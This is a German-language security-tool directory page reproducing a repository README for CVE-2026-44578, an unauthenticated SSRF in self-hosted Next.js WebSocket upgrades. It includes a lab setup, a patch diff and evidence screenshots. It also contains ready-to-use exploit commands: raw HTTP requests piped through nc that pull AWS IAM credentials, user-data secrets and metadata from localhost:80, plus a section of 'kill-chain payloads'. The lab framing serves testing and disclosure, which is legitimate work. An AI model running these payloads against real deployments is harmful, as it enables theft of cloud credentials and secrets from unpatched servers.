Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-44578 — CVE-2026-44578: Next.js WebSocket Upgrade SSRF — Credential-Diebstahl vor der Authentifizierung über localhost:80. Lab + Exploit + Audit. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-44578
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCloud-SicherheitLernen & BildungLabs & Praxis
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: Next.js WebSocket Upgrade SSRF — Credential-Diebstahl vor der Authentifizierung über localhost:80. Lab + Exploit + Audit.

Repository anzeigen
9214vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-44578 — SSRF beim WebSocket-Upgrade in Next.js

Server-Side Request Forgery ohne Authentifizierung in selbst gehosteten Next.js-Bereitstellungen.
Eine einzige manipulierte HTTP-Anfrage extrahiert AWS-Zugangsdaten, Geheimnisse und interne Daten von Diensten aus localhost:80.

FeldWert
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TypSSRF (CWE-918)
BetroffenNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (nur selbst gehostet)
Behoben15.5.16, 16.2.5
Authentifizierung erforderlichKeine
BenutzerinteraktionKeine

Schwachstelle

Der WebSocket-Upgrade-Handler in router-server.ts ruft proxyRequest() auf, sobald parsedUrl.protocol wahr ist — ohne die Routing-Abschluss-Flags finished und statusCode zu prüfen, die der HTTP-Handler bisher immer erzwungen hatte.

// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

Nachdem normalizeRepeatedSlashes http:/// zu http:/ zusammengeführt hat, ist der Hostname null und http-proxy verbindet sich mit dem korrekten Pfad zu localhost:80. Jeder dort parallel laufende Dienst (Cloud-Metadaten, Admin-Panels, interne APIs) ist exponiert.


Exploit-Befehl

printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl kann keine URIs in absoluter Form senden. Verwenden Sie rohes TCP: nc, ncat, socat oder Python-Sockets.


So funktioniert es

Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

Reproduktion im Labor

Voraussetzungen

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

Einrichtung

git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

Dadurch werden 5 Container gestartet:

ContainerRolleErreichbar
nextjs-vulnNext.js 15.5.15 (verwundbar)localhost:3000
nextjs-fixedNext.js 15.5.16 (gepatcht)localhost:3001
imds-sidecar-vulnSimulierter AWS-IMDSv1-Dienst, teilt Netzwerk mit verwundbarer Instanzlocalhost:80 (aus Sicht der verwundbaren Instanz)
imds-sidecar-fixedSimulierter AWS-IMDSv1-Dienst, teilt Netzwerk mit gepatchter Instanzlocalhost:80 (aus Sicht der gepatchten Instanz)
internal-apiMock eines internen Dienstes—

Die IMDS-Sidecars verwenden network_mode: "service:nextjs-*", sodass sich der simulierte Metadatendienst innerhalb des Next.js-Containers auf localhost:80 befindet — als Nachbildung einer echten Cloud-Instanz.

Exploit ausführen

# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

Aufräumen

./teardown.sh

Nachweise

1. Laufendes Labor

Alle Container laufen — verwundbare Instanz (15.5.15) auf :3000, gepatchte Instanz (15.5.16) auf :3001, IMDS-Sidecars mit geteilten Netzwerk-Namespaces.

Laufendes Labor

2. SSRF — Auflistung der AWS-Metadaten

Eine einzelne Anfrage gibt das vollständige EC2-Metadatenverzeichnis zurück (ami-id, instance-id, iam/, placement/, usw.).

Metadaten-Auflistung

3. SSRF — Extraktion von IAM-Zugangsdaten

Vollständiger IAM-Zugangsdatensatz: AccessKeyId, SecretAccessKey, Token und Expiration.

IAM-Zugangsdaten

4. SSRF — User-Data-Geheimnisse

EC2-User-Data-Bootstrap-Skript, das DB_PASSWORD und API_KEY enthält.

User-Data-Geheimnisse

5. SSRF — Instanzidentität

Instanz-ID über denselben SSRF-Vektor extrahiert.

Instanz-ID

6. Gepatchte Instanz — blockiert

Dieselbe Payload gegen Next.js 15.5.16. Verbindung wird sofort geschlossen — keine Daten zurückgegeben.

Gepatcht blockiert

7. IMDS-Logs — Nachweis der serverseitigen Ausführung

Die simulierten IMDS-Logs zeigen GET-Anfragen von 127.0.0.1 (dem Next.js-Prozess), was beweist, dass die SSRF serverseitig ist.

IMDS-Logs

8. Vollständige PoC-Suite — verwundbar (7/7 bestätigt)

Alle 7 SSRF-Tests liefern auf der verwundbaren Instanz sensible Daten zurück.

Vollständige Suite verwundbar

9. Vollständige PoC-Suite — gepatcht (0/7 blockiert)

Alle 7 Tests wurden auf der gepatchten Instanz blockiert. Fix bestätigt.

Vollständige Suite gepatcht


Kill-Chain-Payloads

# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
Tool herunterladen